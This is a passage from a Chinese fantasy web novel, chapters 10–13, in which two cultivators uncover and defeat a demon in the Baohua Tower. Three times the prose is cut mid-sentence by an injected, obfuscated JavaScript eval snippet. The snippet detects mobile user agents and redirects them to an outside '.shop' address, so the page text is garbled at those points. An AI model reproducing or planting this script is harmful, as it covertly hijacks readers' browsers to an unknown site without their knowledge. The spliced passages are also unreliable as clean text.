封澄抬眼看向赵负雪,赵负雪垂着眼睛,好似全然未闻一样,他的手扶在封澄的后腰上,正源源不断地向其中输送灵力。 10. 第 10 章 赵负雪的灵力是微微带着凉气的,激得人身上并不舒服,封澄拍了拍他的肩膀,示意他松开手。 地魔的死期是三日,说实话,封澄比较担心赵负雪——毕竟中毒一时半会死不了,这地魔可是真会弄死人的。 赵负雪好看的眼睛望着她。 封澄看着年轻的师尊,叹了口气:看看看,看什么看,若是三日地魔未死,死的就是你这位大夏未来。 忽然间腰间一痛,她下意识痛呼出声,半跪在她面前的赵负雪当即停了灵力,皱眉道:“又叫什么,莫要乱动。” 封澄迟钝地眨了眨眼,终于后知后觉地发现了二人的诡异之处。 赵负雪,她师尊。 正半跪在她面前。 赵负雪这张年轻俊美的脸同她所熟知的那张苍白病容几度重叠,恍惚间,她甚至觉得面前的是她那位久病的师尊。 大大大大不敬! 天地君亲师,她算哪根葱! 仿佛是屁.股底下装了炮仗,封澄猛地弹起来,当场推开赵负雪,魂飞天外地贴了墙根,赵负雪被她推了个正着,脸色一阴,很是不善地看着她。 二人一站一跪,大眼瞪小眼。 脑内数行咆哮,归根结底化为一句话:“赵负雪突然发的什么疯?” 忽然门口一声道:“陈妈妈领来了!” 陈妈妈的到来恍如天籁,封澄见了救星一样,忙走上前去,陈妈妈被扣押在地,闻言,哭声道:“夫人,娘子,我什么都不知道啊!” 封澄道:“我还没说呢,你就说什么都不知道了,我只问你一句——你可知阿环姑娘出走,可是魔物安排的?” 陈妈妈当即变了脸色:“什么!” 封澄满意地点了点头——说到底,还是听李母那句自小侍奉,故而断定陈妈妈对阿环必然是有感情的。 这番一赌,竟然赌着了。 她把风铃取来,指着被掰下来的三个铜铃对她道:“你未入修道,自然是看不出,这三枚铜铃的空处,有些微魔气涌动,故以,掰下铜铃的人,是魔物。” 此人悚然一惊,当即变了脸色,挣扎道:“不可能!不可能!送来风铃的分明是——!” 封澄微微一笑:“哦?” 李母亲耳从陈妈妈的口中听闻了结果,当场瘫软在地,指着她的手抖得不成样子,半晌,爆发出一阵惊天的啼哭:“我的环儿!!就死在了你这个家贼手中!!” 说着,李母竟然拔出护院腰间的刀,砍向陈妈妈! 赵负雪眼疾手快,没等李母的刀砍过去,一粒银子便击飞了她的刀。李母的刀一脱手,便嚎啕大哭起来,封澄听着震耳欲聋的哭声,只觉得心中一阵阵的酸涩。 这种哭声,她听过许多次。 长煌大原魔族纵横,打家劫舍,四处袭击。无数百姓流离失所、妻离子散。 她不愿再听到这样的哭声了。 深吸了一口气,封澄道:“你现在要做的,就是把事情原原本本地说出来。” 陈妈妈脸色惨白,她定了定神,开口道:“托我传递铃铛的,乃是她的姨母,吴氏。” 李母的哭声霎时止住。封澄示意她继续向下说。 陈妈妈道:“吴氏只说小姐求她去和宝华楼的姑娘们告个别,告了别定然会顺顺当当地送回来。小姐跪在我面前痛哭不已,我心中只心疼小姐,便睁一只眼闭一只眼地允了吴氏传递。我只当吴氏必然不会害小姐,谁知第二日便得知了小姐身处宝华楼的消息。” 陈妈妈跪下磕头:“老奴对不起小姐,对不起夫人啊!我怕极了,怕老爷夫人发现小姐是我放出去的,我多次前往宝华楼劝说小姐,本想小姐想通了便回来了,到时候我再与老爷夫人认错不迟,谁料到,得到的竟是小姐坠楼成魔的消息!” 再然后的事情便众人皆知了,宝华楼成了众所周知的禁地,擅入者三日之内血溅三尺。 封澄抬头,与赵负雪交换了一个视线。 “去找吴氏。” 魔气在风铃上,那么吴氏也必然和地魔沾了关系,找到她,便是找了半个地魔了。 正要和李母打听吴氏消息,李母却面色惨白道:“我昨日才收到娘家送来的信,吴氏她——误入宝华楼,已然死去了。” 线索又断了,封澄想。 从李府告辞出来,封澄紧紧锁着眉头,现如今她手中的线索便只有李母塞来的一把木梳了,这把木梳横看竖看都是没有半分魔气的,看着就是个女儿家的物件,到底能搞出什么花儿来? 走着走着,赵负雪突然道:“你的眉毛已经打结了。” 封澄心烦不已,闻言只苦笑:“都这种时候了,就莫要折腾我了。” 街上行人熙攘,人间烟火,叫卖吆喝,众人皆忙于行走,二人并肩而行。 论谁都看不出来,这两人头顶上顶着一把悬丝的剑,摇摇欲坠。只剩三日。便取得二人性命。 赵负雪好似不知发愁两个字怎么写,他看到前头走来一个背着糖葫芦的商贩,便回头问道:“吃不吃东西?” 封澄一怔,不待她回答,赵负雪便上前一步:“不管了,先吃个糖葫芦。” 眉毛打结,本就瞧着可怜,现下看着更可怜了。 那人递过一只糖葫芦来,却对赵负雪递来的银子皱了眉:“哎,这位公子,我们小本买卖,您这银子,找不开啊。” 赵负雪皱眉思索片刻,回头看向封澄道:“买多一点?” 封澄歪了歪头,又摇了摇头:“你花钱,问我做什么。” 买多一点的后果,就是赵负雪扛着糖葫芦的稻草靶子,大摇大摆地走在了封澄身边。 封澄手里拿着一只糖葫芦,满心满眼的愁绪烟消云散。 取而代之的是恨不得找条地缝钻进去的尴尬。 封澄从未想过,有朝一日,她会因为和赵负雪走在一起而尴尬。 感觉到路人打量过来的好奇视线,封澄面不改色,眼不斜视,心底却恨不得把赵负雪丢大街上一走了之。 赵负雪扛得太理所当然了些,全然不觉得扛着稻草靶子招摇过市有什么尴尬的,说实话,事到如今,封澄才发现,她对赵负雪的印象未免太片面了些,也太先入为主了。 什么清冷出尘的降世谪仙,什么一步三咳的病美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177583|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,年轻时的赵负雪,简直是顶着一张冷脸的诈骗犯。赤诚热烈,行事跳脱,几乎叫她招架不能。 她咬了一口糖葫芦,糖衣的甜意滋进喉咙,她很享受地眯了眯眼睛,舌尖触及糖葫芦上的山楂时,她却酸得皱了眉头。 “好酸,”她脱口而出,“糖葫芦难道不能只有外面的糖衣吗?” 赵负雪一直竖着耳朵听这边的动静,闻言,哑然失笑道:“贪甜,下次便买糖人好了。” 说的也是,封澄点点头。她从前便对糖葫芦这种东西不甚热忱,虽然觉得它红艳艳的样子讨喜,可每每被其中的酸涩果实刺到舌头,久而久之,便敬谢不敏了。 糖葫芦的糖衣化了些,有些漫到了她的手上,封澄便寻了一处店家借了个水,洗净了双手。 怀中木梳忽然一动,从她的衣襟里面滚落出来,封澄猝不及防,木梳滚入洗手的水中。 “哎!”她忙伸手抢救,不料木梳竟然从她的手中化了出去,转瞬间,便化作一团绵软的泥,它混在洗手的水中,封澄心头一紧,连忙道:“赵公子!” 赵负雪闻声而来。 封澄又道:“你去问问老板,这个盆卖不卖。” 木梳融化后,盆底落下一条素绢,上书四个大字。 万艳同悲。 封澄心中一紧,掏出荷包中的木牌,却见第二行的胭脂痕迹缓缓退下,上面刻的正是这四个大字。 阿环的木梳遇水则融,是封澄万万没有想到的。她捧着盆子,赵负雪抽着嘴角道:“这下好了,本想查完地魔之事后,便把阿环的遗物归还,现在只能还给夫人这一盆东西了。” 封澄扶额:“你好生想想,若真是阿环的遗物,又岂会遇水则融?寻个没有人的地方,开个追目,我觉得这东西和地魔脱不了关系。” 二人行走至僻静小巷处,封澄抬手便要咬开手指,忽然手腕一紧,被大力拦住,封澄抬眼便撞入赵负雪的眼中。 赵负雪道:“你不必回回动血伤身。” 封澄下意识地就要拒绝,谁料赵负雪一瞥她的双手,便道:“难道你要把这些东西咬到嘴里吗?” 封澄一手的梳子泥:“……” 封澄:“非得咬吗……难道不能借你佩剑一用?” 赵负雪双手环胸:“见素从来不砍泥巴。” 此言一出,差一点给封澄憋死。 说得好,封澄暗自腹诽——他最好是除了见素之外还有一把小剑。 忽然封澄想起什么,忙拉住赵负雪的手道:“等等,我要先看看,这盆里头有没有魔气,万一这梳子是魔物捏的呢?” 眸中正色不似作伪,赵负雪道:“我也能看。” 封澄怔住。 赵负雪又重复一遍:“我也能看——宝华楼地魔之咒,并非只应你一人。” 灵视符谁画都一样。封澄想了想,的确可以,于是她松开了赵负雪的手。赵负雪也不废话,抬起剑来,便割开了自己的食指,指尖鲜红,血液按在符纸上,片刻便成灵视符。 他用灵视符蒙住眼睛。 赵负雪清晰地看到,魔气哄然涌起,指向西北方。 11. 第 11 章 西北方向,地魔魔气暴露,两条法则已有,可以闯一闯了,赵负雪拉着封澄的手,一把冲出去,速战速决。 风从封澄的耳边呼啸而过,封澄被他拉得两颊生风:“糖葫芦……你先把糖葫芦放下!” 终于想起背上还扛着一只靶子,闻言,赵负雪把糖葫芦靶子丢给一过路人:“请你吃糖葫芦!” 路人一惊,接了个正着。等再回神想要找丢过糖葫芦来的人时,发觉那二人已飞快跑远了。 地魔的魔气森然,再也没有了冗杂魔气的掺杂,这使得天机师追寻得格外轻易,二人在宝华楼前停下脚步——那魔气的发源地正是混在宝华楼中,借杂七杂八的魔气做掩护。 察觉到二人进楼,宝华楼的大门忽然一动,旋即吱呀一声合上,封澄面色一紧,伸手去推,大门纹丝不动。 赵负雪冷色道:“看来不把它杀了,我们是出不去了。” 封澄点了点头,道:“走吧,魔气在三楼。” 踏上台阶的刹那,封澄忽觉心口剧烈跳动起来,好似有一只手在其中抓挠,她不自觉地一顿,身上好似有火灼烧一般剧痛。 赵负雪发觉不对,伸手就要扶她:“你又要吐血?” 不,不是吐血,封澄低头看了看台阶,心想——是风月阶。 这剧痛来得越来越微妙,竟像是从心口一路刺伤到浑身上下,封澄的脑中好似突然被一只手搅成了糨糊,混混沌沌,昏昏沉沉,唯有全身诡异的痛楚令她周身如遭烈火。 甚至说,痛得看面前的人都有了重影。 赵负雪的手恰在此时递了过来,一把扶住了封澄,这微凉的触感却好似火上加油,封澄发觉这双手竟令痛楚剧烈蔓延,仿佛从身体一路烧到了魂魄中去似的。 只是赵负雪这双担忧搀扶着的手,却令她无法不站起来。 她的师尊尚且能除去宝华楼之魔,她怎会在一入楼的地方折了? 情深不寿,慧极必伤。 强撑着这丝执念,狠咬自己的舌尖,终于将自己从这痛楚中挣脱而来。 赵负雪见她清醒,一喜,随即又去触她的额头,皱眉道:“好烫!是发热了!” 怎么可能——封澄想,修士不惧寒暑,人间生老病死之痛也伤不到修士身上,好端端的,她怎么会发热。 只是少年师尊的脸上是如假包换的关切认真,一双眼睛还满是毫不掩饰的直白,哪怕封澄想要开口解释,此言也在喉头滚动难出。 她猛地挣开赵负雪的触碰。 不知为何,赵负雪安然无恙,好似全然不受这风月阶影响一般。 封澄一想,心中便了然——赵负雪心怀天下,目下无尘,又岂会受凡俗凡人常情所困?许是生来便无了情根,徒留一颗悲悯之心了。 于是她道:“借你见素一用。” 赵负雪微怔,封澄也不废话,抬手便把见素抽出,眼睛也不眨一下地划开了自己的手腕,赵负雪来不及阻止,鲜血与疼痛霎时从秦海的手腕上流散出来,血修之血一现,周遭魔气霎时躲避退后许多。 总算缓解了心头之痛,封澄面不改色道:“我们上楼。” 说着,她也不等赵负雪,提步便向二楼走去。 赵负雪看着她的背影,手中握着见素,心中一时乱乱的。 二楼的景象早已不似二人初入宝华楼的模样了,此时二楼弥漫着一股动人的暖香,处处都有暧昧呢喃的细语,还有嘻哈粗鄙的酒声酒臭。 赵负雪一听便皱了眉头,不动声色地屏住了呼吸。 他平生最恶花柳之地。 走到二楼,封澄便看到通向三楼的楼梯已然损坏,摇摇欲坠,是登不上去的。 她思索片刻,忽然想起二楼的尽头尚有一楼梯,于是对赵负雪道:“这处的三楼上不了,我们去走廊的另一边上三楼。” 一听要穿过如此腌臜的走廊,赵负雪当即握紧了见素。 让常人看到,还要以为他是专上宝华楼砍人来了。 二人一踏上走廊的地毯,便有数名曼妙女子不知从何处冒了出来,鬓发芬芳,身材曼妙地挪了过来,见了赵负雪与封澄,竟像是饿鬼见了活人一般,娇声笑着便贴上来,赵负雪当即炸了毛,剑气怦然而起:“都给我起开!” 剑气横行,众女却不闪不避,任凭剑气将其周身划出条条血痕,仍旧笑靥如花地贴上来道:“公子,看到这儿来呀。” 不对,封澄心想。 如若是魔物,被灵器这般刺伤,伤口处必然有魔气窜出,而这数名女子的周身伤痕,竟然全部都是血液! 赵负雪想必也是发现了这一点,他当即住了手,目光看向封澄,封澄冲他微不可察地摇了摇头。 意思是,静观其变。 说来奇怪,众人虽然痴缠,却未曾动手伤人,只是拥挤着二人,剑气横行之时,一女子的手忽然就触到了封澄手,封澄一抬眼,便愣住了。 一滴泪珠,从女子的眼角滚出。 万艳同悲。 封澄心下忽然一咯噔:“这句话什么意思?” 想也不想地,她对赵负雪道:“赵公子,不能杀人,我们走!” 赵负雪一怔,随即毫不犹豫地带着她飞掠而出,径直向楼梯处疾驰而去,二楼众女扭曲追上,封澄回首一看,心中只觉得说不出的古怪。 看这众人姿态,竟像是被拎着前行的木偶人。 走廊长得好像看不到尽头,赵负雪道:“这路走不到头。” 见鬼,碰上鬼打墙了。 封澄咬牙,抬起手来,向前击出一记灵力,谁知灵力竟然泥牛入海一般,转瞬便消失不见了。 想了想,她忽然灵机一动:“赵公子,去上次那个全是修士的房间!” 赵负雪道:“好。” 二人转头便向那屋奔去,后面跟来的众女见状,笑得似乎更加开心了,叽喳嘻哈,声音竟然像是比从前更大了些,赵负雪道:“为何要去那个房间?” 封澄果断道:“修士皆死于此地,此地必有古怪,它要破这个鬼打墙,也只能从那个房间下手了。” 赵负雪震惊了;“就这么粗糙地断定了?万一是地魔对那个房间擅入必死,专门用来停尸呢?” 封澄:“所以也就是赌一下,不然怎样,在走廊里兜圈子吗?” 赵负雪人都傻了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177584|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这妖女看着老实巴交,实际上不光疯,还又疯又爱赌,不光赌,还一赌就是命。 说话间,二人已到了停放修士尸体的房间,此时众女也在后面追了过来,避无可避,封澄猛地一脚踏入。忽然间,众女随二人而跳进去,只听嘻哈一声,众女霎时不见了。 封澄松了一口气:“看来暂且是赌对了。” 不料一回头,赵负雪周身竟凭空多出数道血痕来!封澄当即变了脸色,一把拉过他:“怎么回事?你是什么时候伤到的?” 赵负雪不甚在意地摇了摇头:“只是皮肉伤,看着骇人罢了。” 封澄不信,拉过他的手臂便要检查,只见白皙皮肤上,道道血痕叫人触目惊心。封澄细看却觉不对:“这伤口怎么像是见素剜出来的?” 见素的剑痕,没有人比她更为清楚,从前她仰望着师尊,无时无刻不想追随着师尊的脚步,就连随身佩剑也命人模仿了赵负雪的见素。 只是后来,此剑被她束之高阁,她转而用起了战场上更顺手的长木仓。 思及此处,万千情绪又涌上心头。赵负雪垂眸看着她,忽然出声道:“你很关心……见素吗?” 关心见素? 这是什么说法? 没等封澄想明白,赵负雪便错开了视线,轻咳两声,收回了手道:“算了。” 如若细看,便能看到赵负雪的耳畔有一缕悄悄爬上的绯红。 见到赵负雪身上伤痕,封澄也是心中有数了,恐怕这便是万艳同悲了。 若是在外面伤了众女,众女会在伤人者进屋的同时,将所有伤口尽数奉还。 倘若是有人在外面杀了人…… 封澄瞄了一眼屋中的尸体——那千奇百怪的诡异死法,便能够解释了。 这些人皆是死于自己的灵器之下。 想明白这点,封澄不禁对这位地魔的恶趣味大为叹服。 万艳同悲。 足以操纵生死的法则,躲藏于幕后,以牙还牙,以眼还眼。 正在此时,第三层楼的楼梯,在二人的面前徐徐铺下来。在一众的尸山血海中,这条梯子分外耀眼,也分外荒谬。 好像是一根救命稻草,丢在了无间地狱。 三楼传来女子的娇笑声:“能活着找到这里的人,不多。你们两个,便上来吧。” 封澄冷笑一声,道:“请我上去,可是自寻死路。” 女子哈哈大笑:“请。” 封澄一拽赵负雪的衣服:“走。” 可足尖踏上楼梯的刹那,熟悉的痛楚再度从心口钻出来,封澄唔了一声,险些软了腿。她盯着楼梯,道:“这楼梯,有古怪?” 女子曼声道:“古怪?我这风月阶,可是世间少有之妙物。” 转眼她又笑道:“此物令人陶然心醉,又令人如蒙钻心剜骨,痛彻心扉。你情根深种,妄念如影,自要千百倍地蒙受此痛,有何古怪?” 情根未除,妄念如影? 封澄只觉得荒谬无比——她活了快二十年,心静如水,何有情根,何有妄念! 从魔物口中听到这句话,封澄一时间整个人都不好了。 12. 第 12 章 风月阶之伤,已逐渐在她身体上显现。 封澄走完这一程,忽觉手臂的隐痛仍然未去,她暗暗抬了袖子,只见手臂上一道血红伤口,分外骇人。 已从感知,到了身体。 三楼的陈设颇为雅致,屋内焚香,桌前供花,像个女儿家的书房。香气一阵一阵地袭来,熏得人昏昏欲睡。 坐在案前的是个年轻的女子,她低头写画,着一身红裙,手腕到大臂上,有盛开而上的一派红花。 抬起眼来,明媚而妩媚。当即叫人酥倒了身子。 此人想必就是地魔了。 封澄咬牙,风月阶的痛楚非凡,一阵一阵袭来,只觉得魂飞天外,非常人能忍得。 “我们速战速决。”封澄面色不变。 赵负雪的见素剑出鞘, 香气昏昏沉沉,暧昧的暖香浮动,屋外暖阳斜入,二人杀气腾腾。 地魔从容地写画:“我知道你们是来寻何物的,无非是要求得那些人命去了何处。” 赵负雪向前一步,寒光乍现,见素出鞘,还未等封澄动手,便一剑横在了地魔玉色的颈上。 坐于案前的女子面不改色,任凭一剑横在了她的脖子上。 他寒声道:“害死阿环,屠戮宝华楼,杀害修士,下毒古安,何须你交代?” 其言掷地有声,在这脂粉气的书房里面,是格格不入的悍然之气。 女子一怔,旋即哈哈大笑,也不管架在脖子上的见素,也不管临反了的字帖,花枝乱颤道:“这话说得可不对,我手下血债累累,可并无阿环这一条人命!” “没有阿环这条命?” 封澄道:“诱骗阿环入楼之人,难道非你?” 地魔道:“我乃地魔,岂会屑于用人魔的手段欺瞒?地魔的意思便是,我在宝华楼这儿画了个圈,旁人入,死。除此之外,一概不管——且下毒古安也不是我干的。” 这下倒好,封澄咬牙。 地魔闲闲散散地道:“看来,我也是被人当成黑锅扣上了,啧,最烦同人魔打交道,竟连自己人也算计。” 说话间,她冷不丁地擒住封澄的手腕,还未等封澄反应动手就松开:“果然,你中了魔气,难怪这么臭。” 赵负雪不言,一剑落下,剑下纸页翻飞,地魔消失不见,唯有一个碎人偶掉在书案上,地魔声音回荡于四周:“我并无魔气留于外世,是谁将我的魔气送给你们,引你们来杀我的?” 封澄一见,便心知不妙:“地魔逃了。” 赵负雪眯了眯眼睛:“二楼,追。” 忽然一袭香风袭来,二人脚下一空,封澄低头,只见木制阶梯停在二人脚下,空中唯有地魔的哈哈大笑:“风月阶要走三回,再走一趟如何!” 封澄狠狠一咬牙。 这浑然恶意,简直是毫不掩饰。 赵负雪面无表情地将她扯过来,蹲下道:“你上来,我背你。” 背? 地魔的笑声定住了,半晌,饶有兴致道:“她受重情之伤,伤己至深,却不伤人。你若背她,可就是担了她的苦情之伤,此伤可就是你们二人一同担着了。” 他置若罔闻,蹲在地上,转头看向封澄:“为何还不上来?” 修士的生死悬于剑尖,生死交锋,容不得半点犹疑,多年征战,封澄早已学会了闭目塞听,对上魔族时,哪怕她嘴里说出个花儿来,封澄也能当那是个过期的屁。 可偏生此言,她听进了耳中。 何为重情之伤?何为伤己至深?封澄困惑地想。 生前种种历历在目,如繁花如烟,人流汹涌,战火燎原,有流离之众、酒肉之徒,有觥筹交错、硝烟战火。 嬉笑怒骂其中,寻觅无数,不见半分重情之影。 转眼,封澄忽见寂寥处,一所落雪的庭院。 “这……是师尊的庭院。” 封澄困惑地眨了眨眼,还没等她想明白什么,一阵剧痛陡然从心口钻出来,直直烧到魂魄里面去,这剧痛仿佛九天凌霄之上当空劈下来十八道天雷,封澄脑内一阵轰鸣,这万箭穿心般的痛楚将她当场劈到地上去! 一声难以抑制的声响从她喉咙里逸出来,她滚到地上,身上衣衫竟然逐渐染上血色! 赵负雪当即变了脸色,猛地制住封澄,不让她四处乱撞:“封澄,封澄!你清醒一点,我这就用灵力为你梳理!” 其焦急之意已然溢于言表,哪怕是聋子也该听出其中的关切,可封澄剧痛,早已气息渐微,哪里能听到了一字半句? 地魔一怔,盯着二人片刻,随即哈哈大笑道:“有趣,有趣!她蒙受重情之痛,却不想这里倒有个无情又痴情的!” 灵力的作用微乎其微,随着灵力的输送,封澄仍然满头汗水,已是渐渐神志不清,赵负雪骤然红了眼眶,他喃喃道:“杀了地魔……对,杀了地魔,法则便解。” 说着,提步便要下楼。地魔轻轻一笑,道:“何必这么麻烦?只要你背着她,走上风月阶,这重情之痛,不就与她分担了吗?” 封澄是重情之人,所受风月阶之伤,刻骨铭心。 赵负雪垂眸心想:“拖后腿的,真是败给她了。” 他走向封澄,轻轻地将她抱了起来。 站起来的刹那,锥心的痛楚从四面八方侵袭而来,赵负雪险些当场跪倒,勉力站稳,他向楼下走去。 风月阶,有三十六阶。 他每走一步,便觉得锥心之痛从心头一路攀援而上,寒意随着血气一道蔓延,几乎令人动弹不得。 赵负雪低头,封澄躺在他的怀中昏迷不醒,可即便是睡梦中,仍会时不时地皱一皱眉毛。 即便是分摊一半,仍是切肤之痛。 他叹了口气,不由得有些心酸地想——这修血道,怎么还能修出个重情之人来? 赵负雪只觉得涩意一阵一阵地向心口翻涌,一时间,这阵说不出的酸涩,竟然生生地压过了封澄的情之痛。 地魔有些惊讶,见此情景,她慢慢地笑了:“哦?风月场上的男子,说着千爱万爱,也不会愿和痴情的女子共走这风月阶,你无心无情,倒是真愿同她去担,你叫我很欣赏。” 他森寒的目光不知钉在哪个角落,赵负雪冷冷道:“若不是你动手,没人会受折腾。” 地魔不做声了,半晌,她心情复杂道:“我的风月阶,竟碰上你这个憨货。” 三十六阶台阶走下,风月阶霎时消失不见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177585|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑内一片昏沉,不知过了多久,剧痛消失了,封澄终于微微地找回了些神智。她慢慢地醒转过来,在意识到自己身处何方时,封澄愣住了。 耳边有力的心跳声,贴在脸上的体温,还有些微熟悉的冷香。 这这这这是哪里? 不知为何缘故,赵负雪抱她抱得格外之紧,几乎抓痛了她的手臂。 活了两世,封澄第二次同赵负雪如此贴近。 她依稀记起,从长煌大原将她捡回来时,赵负雪单手抱着年纪不大的她。 只是彼时她挣扎得厉害,最后赵负雪叹了口气,拍了拍她的头,便放她下来自行走了。 现在想想,当真是不珍惜,要是知道后来的赵负雪身体会差成那个样子,封澄铁定会赖在他怀里,死活不下来。 一时之间,封澄竟不知是现在滚下来的好,还是装睡一会儿的好。 只不过没等她做出决定,赵负雪先一步察觉到封澄醒来,他低下头,微微勾勾嘴角:“你醒了?” 醒了,封澄忽然意识到了此举的不妥之处,赵负雪将她放下,道:“醒了便来找地魔吧。” 封澄一抬头,只见整个二楼走廊乌泱泱一片,全是正值花季的女子,个个如花似玉,咯咯乱笑。 赵负雪拔剑出鞘:“地魔说,这些人里面,有偶人,也有她。” “三次风月阶,耗了她魔气。此时她已无反击之力,一剑可杀。你指过去,我动手。” 封澄明白了:地魔没力气打了,可二楼走廊尽头有个小屋子,动了这屋子里任何一个姑娘,这屋子立即就会反伤,将执剑之人杀死。 除非能从这一群人里面找到地魔,然后一剑杀死地魔。 地魔的声音遥遥地从空中传来:“来吧,拿着你的剑,我们的生死,就在由你一剑而定了。” 可是如何辨别这一群姑娘中的地魔? 她们穿着不一样的衣服,戴着不一样的首饰,神色不一样,模样不一样。身上发出的魔气却一模一样。 地魔就隐藏在她们其中。 赵负雪寒声道:“若是将二楼之人一个不漏地砍了,也可以我一命,换你一命。” 的确,将灵力引爆,也可一口气清了这一走廊的偶人。封澄微微皱眉,疑惑却从心底缓缓升起:“地魔这种东西,真的会甘愿一命换一命吗?” 这个游戏规则有个死局——若她与赵负雪中一人掀桌不干,堵着门杀死了所有二楼偶人,那么这个游戏便无法进行下去了,地魔必死。 她真的会把自己丢入死局吗? 皱眉思索,封澄无意间向众女中扫去,忽然眼神定住了。 那个在二楼追逐中,碰了封澄手上的泥土而垂泪的女子,正艰难地转动眼珠。 她在看向她左边的人。 左边的女子低垂着头,却微微抬起眼睛,一双眼睛木然,嘴角却微微勾起。 忽然间,封澄却不知为何想起了地魔所说的话。 “最烦同人魔打交道,竟连自己人也算计” 那个将梳子留在李家,诱骗阿环出楼的人魔,嫁祸宝华楼魔气的人魔,现在在何处? 封澄当即头皮一紧,猛地道:“赵公子,谁也别杀!” 13. 第 13 章 脂粉香气浓厚的宝华楼中一片寂然,唯有封澄与赵负雪二人的呼吸声。 设身处地一想,如若封澄是地魔自己,在碰到生死一线的境遇时,难道会把小命交付他人?由赵负雪的一把剑来决定生死? 宝华楼地魔,三条法则,一个风月阶,一个万艳同悲。 “第三条法则,”封澄道,“地魔还有第三条法则,她有后招。” 从上面的几个法则来看,地魔的法则,是要依托于宝华楼中建筑才会触发,封澄微微皱眉——在二楼走廊中,有什么建筑,是要引得赵负雪动手才行的? 一条长长的走廊? 除了角落的一间屋子,也并没有其余的奇特之处。 封澄见众偶人都不动,索性去墙边挨个挨个地推了屋门。 屋门背后好像突然成了墙一样,是推不开的。 摆在面上的法则,便只有一条万艳同悲。 “动了手,下了杀招,地魔就能入最后一间屋子,将伤口返回……”封澄喃喃道,“砍哪里,还哪里,以牙还牙,以眼还眼……” 封澄推开最后一扇屋门,屋内众陈氏修士的惨象皆在眼前。 她面不改色地一具一具查验。 血迹堆叠处,死法万千,怎么死的都有,根本看不出第三条法则的半分线索。 封澄站起身,忽然间,一个想法骤然劈入她的脑海。 死法万千…… 陈氏修士,难道不都是用指环的吗? 刹那间,一切都连成了线。 “指环可令灵力成刃,可这些人的致死伤中,为何会钝器的锤伤,坠楼的内伤,还有烧伤呢?” 封澄忽然心头一片澄明,她蹲下,再次查验。 但凡活着走入走廊尽头那间“万艳同悲”的屋子中,并且身受反伤未死的人,都会认为,这些尸体都是因杀了或者重伤二楼女子,才会如此。 可封澄再次查验后,却发觉,除了反伤过多失血而死的修士外,其余死人身上的致命伤,都与陈氏指环没有半毛钱关系。 在万艳同悲的法则下,还掩盖着另一法则。 不必进最后一间屋子,也能触发的法则。 “赵公子,”她道,“你会拆屋子吗?” 地魔一愣,随即大怒道:“你敢!” 赵负雪已然亮了剑,嚓嚓两道剑气,直直削向三楼风月阶,在震耳欲聋的拆迁声中,封澄向人群中走去,抬头道:“三条法则,除了第二条不痛不痒的风月阶外,剩下的全是反击。” “既然你的法则作用于宝华楼陈设中,那么你的魔气,定然也在其中吧?” 人群中终于的偶人骤然烟消云散。风月阶被砍后,地魔爆发出惊天动地的咆哮声,封澄的血咒难以发挥作用,便把拆迁大任交给了赵负雪。 “何其荒谬,”封澄笑道,“死于此地的修士定然不知,只要把宝华楼从头到脚、从里到外全砸了,地魔便烟消云散了。” 赵负雪的动手能力极强,见素名字听着温文尔雅,实则是爆发力极强的大凶器,不过片刻便砸完了三楼。 待二楼砸过一半后,封澄贴上灵视符,汇聚在此的灵气好像是骤然找到了出口一样,熙熙攘攘地向外奔逃而去。 四周的若有若无的暖香和莫名其妙的压力骤然一空,四周与世隔绝的知觉也慢慢溃散。 地魔终于滚落到了二人的面前。 “宝华楼,”封澄叹了口气,“我有句话要问你。” 地魔恨声道:“我技不如人,甘愿伏诛,要杀要剐随便你,可你要问我什么,我是一个字都不会说的。” 她看上去是个年纪不大的女子,正是青春芳华,本体竟与二人在三楼遇上的偶人几乎一模一样,只是现下已然狼狈不堪了。 封澄并不说话,只是走近她,两人的眼睛对视,一个满怀怨念,恨意满怀,一个明亮澄澈,平静无比。 封澄道:“我一直在想一件事。” “常人做偶人,千人一面。哪怕装饰,也是有限。” “要什么样的木偶师,才会把每个偶人的模样、衣服、妆饰细细地用心,把本该是工具的东西,做得各有千秋,争奇斗艳。” 地魔一愣。 “她们是你,”封澄道,“你是活人。” 赵负雪的拆楼大业轰轰烈烈,屋子中的梁柱倒塌之声、桌椅陈设破裂之声惊天动地,二人在这翻天覆地的毁灭声中沉默不语。 “宝华楼三法则,以及最后的解局之法,”封澄道,“没有一条,是主动伤人。” 地魔这种东西,她除过许多,几乎无一例外的,法则极为诡异,处处暗藏杀机。总是要耗上不知多少人的性命才能试出地魔的法则。 宝华楼法则之一,万艳同悲。 不伤人,可解。 宝华楼法则之二,风月阶。 无情者,不伤,重情者,虽痛却不致命。 宝华楼法则之三,无名。 不杀人,可破。 